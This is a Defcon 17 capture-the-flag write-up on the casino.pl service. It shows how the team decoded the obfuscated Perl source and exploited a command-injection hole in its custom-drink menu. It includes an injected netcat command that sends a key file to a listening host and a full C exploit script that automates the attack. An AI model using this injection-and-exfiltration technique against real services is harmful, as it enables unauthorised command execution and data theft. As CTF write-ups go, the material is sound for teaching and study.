Defcon CTF 17th Casino.pl Report

StolenByte(Son Choong-Ho)
http://StolenByte.egloos.com
thscndgh_4@hotmail.com
WOWHACKER
2009. 08. 08

{0x00 Contents}

{0x01 About Casino}

This casino.pl is a question caused by Steal(Maybe?) and Overwrite !!

[StolenByte@StolenByte ~]# nc localhost 7890
welcome to ddtek casino, what's ur name? StolenByte

StolenByte, welcome to ddtek casino!
what would ju like 2 du 2day?:
1: crappy craps
2: check wallet
3: current time
4: ru roulette
5: war (auto)
6: Leave
7: blackjack
8: war
9: order drink

{0x02 Analaysis}

It will be given the Perl source.
However, the source code cannot be read easily because it was encoded by using the eval function of encryption.
Therefore, if we use the print function, the encryption can be solved easily.

casino.pl

```
print eval ''.
...
```

casino_decryption.pl

```
#!/usr/bin/perl -w -T
use strict;
use Socket;
use English -no_match_vars;

$ENV{PATH} = "/bin/";#:/usr/bin";
#$ENV{PATH} = "/bin/date";#:/usr/bin";

my $port = shift || 7890;
my $proto = getprotobyname('tcp');
my $LOG = "/home/casino/log";

my $bankroll = 200;

my @colors = qw . H D C S . ;
my %cards   = (
                  2 =>  2, 3 =>  3, 4 =>  4, 5 =>  5, 6 =>  6, 7 =>  7,
                  8 =>  8, 9 =>  9, J => 10, Q => 11, K => 12, A => 13,
                );
....
```

When you analyze the decryption source, these vulnerabilities can be found easily.
In this case, making decryption is actually the most difficult part of this question.

if we analyze Vulnerabilities, we can find out that it uses system function.
And the attacker can run his command.

To analyze the part,

```
my %drinks= (
    0=> { name => "heiny", cost => 12, action => sub {heiny(12)}, },
    1=> { name => "sky, straight up", cost => 20, action => sub {sky(20)}, },
    2=> { name => "bud", cost => 10, action => sub {bud(10)}, },
    3=> { name => "martini, shaken not stirred", cost => 25, action => sub
{martini(25)}, },
    4=> { name => "margarita (frozen)", cost => 18, action => sub {margarita(18,
"frozen")}, },
    5=> { name => "margarita (rocks)", cost => 18, action => sub {margarita(18,
"rocks")}, },
    6=> { name => "water", cost => 84, action => sub {margarita(84)}, },
    7=> { name => "custom", cost => "unk", action => sub {cdrink("unk")}, }
);
```

```
sub cdrink() {
      print "what alcohol would you like (DONE when done)₩n";
      my $a = "";
      my $alcy = "";
      while ($a ne "DONE"){
         $a = <Client>;
         chomp($a);
         if($a ne "DONE"){
            print "adding $a₩n";
            $alcy .= "$a,";
         }
      }
      chomp($alcy);
      chop($alcy);

      $a = "";
      while($a eq ""){
         print "what is the name of ur concoction?₩n";
         $a = <Client>;
         chomp($a);
      }

         my $drinkname = $a;
         $a =~ /^(₩S*)/;
         $a = $1;
         print "the '$a' is now available for ₩$3422₩n";

         system("$a");
           / / at this point, the vulnerability which can run the command is raised.

         $drinks{$a}{name} = $drinkname . $alcy;
```

```
        $drinks{$a}{cost} = 20;
        $drinks{$a}{action} = sub { pay(20); print "execing";
`$drinks{$a}{name}` };

}
```

StolenByte, welcome to ddtek casino!
what would ju like 2 du 2day?:
 1: blackjack
 2: check wallet
 3: Leave
 4: order drink
 5: war
 6: crappy craps
 7: ru roulette
 8: war (auto)
 9: current time
4
what drink would you like big boy?0: heiny 12
1: sky, straight up 20
2: bud 10
3: martini, shaken not stirred 25
4: margarita (frozen) 18
5: margarita (rocks) 18
6: water 84
7: custom unk
?
/ / this part is vulnerability :)

but, the hackers to run code How do you want?

7: custom unk!! **<-- Can be created the commnad**

what alcohol would you like (DONE when done)
ls -al **/ / Enter the command what you want**
adding ls -al
DONE // Enter the "DONE"
what is the name of ur concoction?
a // Enter the Hotkey
the 'a' is now available for $3422

StolenByte, welcome to ddtek casino!
what would ju like 2 du 2day?:
  1: crappy craps
  2: order drink
  3: current time
  4: Leave
  5: blackjack
  6: war (auto)
  7: ru roulette
  8: check wallet
  9: war
2
what drink would you like big boy?0: heiny 12
1: sky, straight up 20
2: bud 10
3: martini, shaken not stirred 25
4: margarita (frozen) 18
5: margarita (rocks) 18
6: water 84
7: custom unk
a: als -al 20

You can confirm that the command was acted appropriately.
But, the Hotkey + command T^T
use a semicolon, Hotkey;command;

Then, Execute the command what the attacker wants by using semicolon that helps to act various commands concurrently.

olleh!!!

{0x03 Exploit}

Terminal 1

```
[StolenByte@StolenByte ~]# nc 192.168.123.108 7890
welcome to ddtek casino, what's ur name? StolenByte

StolenByte, welcome to ddtek casino!
what would ju like 2 du 2day?:
  1: Leave
  2: order drink
  3: war (auto)
  4: blackjack
  5: check wallet
  6: crappy craps
  7: ru roulette
  8: war
  9: current time
2
what drink would you like big boy?0: heiny 12
1: sky, straight up 20
2: bud 10
3: martini, shaken not stirred 25
4: margarita (frozen) 18
5: margarita (rocks) 18
6: water 84
7: custom unk
?7
what alcohol would you like (DONE when done)
;cat /home/casino/key | /usr/bin/nc 192.168.123.108 8888;
adding ;cat /home/casino/key | /usr/bin/nc 192.168.123.108 8888;
DONE
what is the name of ur concoction?
0
the '0' is now available for $3422

StolenByte, welcome to ddtek casino!
what would ju like 2 du 2day?:
  1: crappy craps
  2: Leave
  3: check wallet
  4: ru roulette
  5: blackjack
  6: order drink
  7: war (auto)
  8: war
```

```
 9: current time
6
what drink would you like big boy?0: 0;cat /home/casino/key | /usr/bin/nc
192.168.123.108 8888; 20
1: sky, straight up 20
2: bud 10
3: martini, shaken not stirred 25
4: margarita (frozen) 18
5: margarita (rocks) 18
6: water 84
7: custom unk
?0
u wanna 0;cat /home/casino/key | /usr/bin/nc 192.168.123.108 8888;
that'll be 20
Pay? (Y / N)Y
execingyou are poorer.
```

Terminal 2

```
[StolenByte@StolenByte ~]# nc -l 8888
WOWHACKER
```

casino_explot.c

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/inet.h>

#define ATTACK_IP           "127.0.0.1"
#define ATTACK_PORT          7890

#define SERV_IP             "127.0.0.1"
#define SERV_PORT            8888
#define CMD                  "cat /home/casino/key | /usr/bin/nc"

#define MAX_BUF 2048

int sock_conn(char *ip, int port)
{
        int sockfd;
        struct sockaddr_in sock;
        struct hostent* host_st;
```

```
	sockfd = socket(PF_INET, SOCK_STREAM, 0);
	if(sockfd < 0)
		err("Socket() Error!!₩n");

	host_st = gethostbyname(ip);
	if(host_st == NULL)
		err("gethostbyname() Error!!₩n");

	bzero(sock.sin_zero, sizeof(sock.sin_zero));
	sock.sin_family = AF_INET;
	sock.sin_port = htons(port);
	sock.sin_addr = *((struct in_addr *)host_st->h_addr);

	if(connect(sockfd, (struct sockaddr *)&sock, sizeof(sock)) < 0)
		err("Connect() Error!!₩n");

	return sockfd;
}

int inline err(char* msg)
{
	perror(msg);
	exit(-1);
}

void sock_write(int sock, char* payload)
{
	int check = 0;

	check = write(sock, payload, strlen(payload));
	if(check < 0)
		perror("[!] Write Error₩n");
}

void sock_read(int sock, int search)
{
	int i = 0;
	int check = 0;
	char buf[MAX_BUF];
	char payload[3] = {0, };

	memset(buf, 0x00, MAX_BUF);
	check = read(sock, buf, MAX_BUF);
	if(check < 0)
		perror("[!] Read Error₩n");
```

```
        if(1 == search)
        {
                for(i=0;i<strlen(buf);i++)
                {
                        if(buf[i] == ':' && buf[i+2] == 'o')
                        {
                                payload[0] = buf[i-1];
                                payload[1] = '₩n';
                                printf("[+] %c is order drink!!₩n", payload[0]);

                                sock_write(sock, payload);
                                return;
                        }
                }
        }
        else if(2 == search)
        {
                for(i=0;i<strlen(buf);i++)
                {
                        if(buf[i] == ':' && buf[i+2] == 'c')
                        {
                                payload[0] = buf[i-1];
                                payload[1] = '₩n';
                                printf("[+] %c is custon unk!!₩n", payload[0]);

                                sock_write(sock, payload);
                                return;
                        }
                }
        }
}

int main( int argc, char **argv)
{
        int i;
        int sock = 0;
        char buf[MAX_BUF];
        char payload[MAX_BUF];

        printf("========== DEFCON Capture the Flag Casino.pl 17th Exploit
==========₩n");

        // SOCK
        sock = sock_conn(ATTACK_IP, ATTACK_PORT);
        printf("[!] Connect Success₩n");

        // READ
```

```
sock_read(sock, 0);

// WRITE
sprintf(payload, "StolenByte₩n");
sock_write(sock, payload);

// READ
sock_read(sock, 0);

// READ (order drink)
sock_read(sock, 1);

// READ
sock_read(sock, 0);

// READ
sock_read(sock, 2);

// READ
sock_read(sock, 0);

// WRITE
sprintf(payload, ";%s %s %d;₩n", CMD, SERV_IP, SERV_PORT);
printf("[!] Attack Payload is %s", payload);
sock_write(sock, payload);

// READ
sock_read(sock, 0);

// WRITE
sprintf(payload, "DONE₩n");
sock_write(sock, payload);

// READ
sock_read(sock, 0);

// WRITE
sprintf(payload, "0₩n");
sock_write(sock, payload);

// READ
sock_read(sock, 0);

// READ
sock_read(sock, 1);

// READ
```

```
        sock_read(sock, 0);

        // READ
        sock_read(sock, 0);

        // WRITE
        sprintf(payload, "0₩n");
        sock_write(sock, payload);

        // READ
        sock_read(sock, 0);

        // READ
        sock_read(sock, 0);

        // WRITE
        sprintf(payload, "Y₩n");
        sock_write(sock, payload);

        // READ
        sock_read(sock, 0);

        // READ
        sock_read(sock, 0);

        printf("[!] Attack Success!!₩n");
        printf("[!] Finish₩n");

        return 0;
}
```